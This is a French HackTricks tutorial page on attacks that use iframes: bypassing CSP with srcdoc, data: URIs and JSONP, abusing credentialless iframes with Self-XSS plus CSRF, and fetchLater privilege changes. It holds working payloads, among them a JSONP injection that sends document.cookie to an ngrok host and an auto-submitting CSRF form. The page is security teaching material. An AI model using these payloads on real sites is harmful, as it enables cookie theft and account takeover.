Iframes dans XSS, CSP et SOP
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Iframes dans XSS
Il existe 3 façons d'indiquer le contenu d'une page intégrée dans un iframe :
- Via
src
indiquant une URL (l'URL peut ĂȘtre d'origine croisĂ©e ou de la mĂȘme origine) - Via
src
indiquant le contenu en utilisant le protocoledata:
- Via
srcdoc
indiquant le contenu
AccĂšs aux variables Parent & Child
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Si vous accédez au HTML précédent via un serveur http (comme python3 -m http.server
), vous remarquerez que tous les scripts seront exĂ©cutĂ©s (car il n'y a pas de CSP pour l'en empĂȘcher). le parent ne pourra pas accĂ©der Ă la variable secret
Ă l'intĂ©rieur de n'importe quel iframe et seuls les iframes if2 et if3 (qui sont considĂ©rĂ©s comme Ă©tant du mĂȘme site) peuvent accĂ©der au secret dans la fenĂȘtre d'origine.
Notez comment if4 est considéré comme ayant une origine null
.
Iframes avec CSP
tip
Veuillez noter comment dans les contournements suivants, la rĂ©ponse Ă la page intĂ©grĂ©e ne contient aucun en-tĂȘte CSP qui empĂȘche l'exĂ©cution de JS.
La valeur self
de script-src
n'autorisera pas l'exécution du code JS utilisant le protocole data:
ou l'attribut srcdoc
.
Cependant, mĂȘme la valeur none
de la CSP permettra l'exécution des iframes qui mettent une URL (complÚte ou juste le chemin) dans l'attribut src
.
Par conséquent, il est possible de contourner la CSP d'une page avec :
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Notez que le CSP précédent ne permet que l'exécution du script inline.
Cependant, seuls les scripts if1
et if2
vont ĂȘtre exĂ©cutĂ©s, mais seul if1
pourra accéder au secret parent.
Par consĂ©quent, il est possible de contourner un CSP si vous pouvez tĂ©lĂ©charger un fichier JS sur le serveur et le charger via iframe mĂȘme avec script-src 'none'
. Cela peut potentiellement Ă©galement ĂȘtre fait en abusant d'un point de terminaison JSONP de mĂȘme site.
Vous pouvez tester cela avec le scĂ©nario suivant oĂč un cookie est volĂ© mĂȘme avec script-src 'none'
. Il suffit d'exécuter l'application et d'y accéder avec votre navigateur :
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Autres charges utiles trouvées dans la nature
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Le contenu d'un iframe peut ĂȘtre soumis Ă des restrictions supplĂ©mentaires grĂące Ă l'attribut sandbox
. Par défaut, cet attribut n'est pas appliqué, ce qui signifie qu'aucune restriction n'est en place.
Lorsqu'il est utilisé, l'attribut sandbox
impose plusieurs limitations :
- Le contenu est traité comme s'il provenait d'une source unique.
- Toute tentative de soumettre des formulaires est bloquée.
- L'exécution de scripts est interdite.
- L'accÚs à certaines API est désactivé.
- Il empĂȘche les liens d'interagir avec d'autres contextes de navigation.
- L'utilisation de plugins via
<embed>
,<object>
,<applet>
, ou des balises similaires est interdite. - La navigation du contexte de navigation de niveau supĂ©rieur du contenu par le contenu lui-mĂȘme est empĂȘchĂ©e.
- Les fonctionnalités qui sont déclenchées automatiquement, comme la lecture vidéo ou le focus automatique des contrÎles de formulaire, sont bloquées.
La valeur de l'attribut peut ĂȘtre laissĂ©e vide (sandbox=""
) pour appliquer toutes les restrictions mentionnĂ©es ci-dessus. Alternativement, elle peut ĂȘtre dĂ©finie sur une liste de valeurs spĂ©cifiques sĂ©parĂ©es par des espaces qui exemptent l'iframe de certaines restrictions.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes sans identifiants
Comme expliqué dans cet article, le drapeau credentialless
dans un iframe est utilisĂ© pour charger une page Ă l'intĂ©rieur d'un iframe sans envoyer d'identifiants dans la requĂȘte tout en maintenant la mĂȘme politique d'origine (SOP) de la page chargĂ©e dans l'iframe.
Cela permet Ă l'iframe d'accĂ©der Ă des informations sensibles d'un autre iframe dans la mĂȘme SOP chargĂ©e dans la page parente :
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
- Exemple d'exploitation : Self-XSS + CSRF
Dans cette attaque, l'attaquant prépare une page web malveillante avec 2 iframes :
- Une iframe qui charge la page de la victime avec le drapeau
credentialless
avec un CSRF qui déclenche un XSS (Imaginez un Self-XSS dans le nom d'utilisateur de l'utilisateur) :
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Une autre iframe qui a en fait l'utilisateur connecté (sans le drapeau
credentialless
).
Ensuite, depuis le XSS, il est possible d'accĂ©der Ă l'autre iframe car elles ont la mĂȘme SOP et de voler le cookie par exemple en exĂ©cutant :
alert(window.top[1].document.cookie);
fetchLater Attack
Comme indiqué dans cet article, l'API fetchLater
permet de configurer une requĂȘte Ă exĂ©cuter plus tard (aprĂšs un certain temps). Par consĂ©quent, cela peut ĂȘtre abusĂ© pour, par exemple, connecter une victime dans la session d'un attaquant (avec Self-XSS), dĂ©finir une requĂȘte fetchLater
(pour changer le mot de passe de l'utilisateur actuel par exemple) et se dĂ©connecter de la session de l'attaquant. Ensuite, la victime se connecte dans sa propre session et la requĂȘte fetchLater
sera exécutée, changeant le mot de passe de la victime pour celui défini par l'attaquant.
De cette maniĂšre, mĂȘme si l'URL de la victime ne peut pas ĂȘtre chargĂ©e dans un iframe (en raison de CSP ou d'autres restrictions), l'attaquant peut toujours exĂ©cuter une requĂȘte dans la session de la victime.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes dans SOP
Vérifiez les pages suivantes :
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.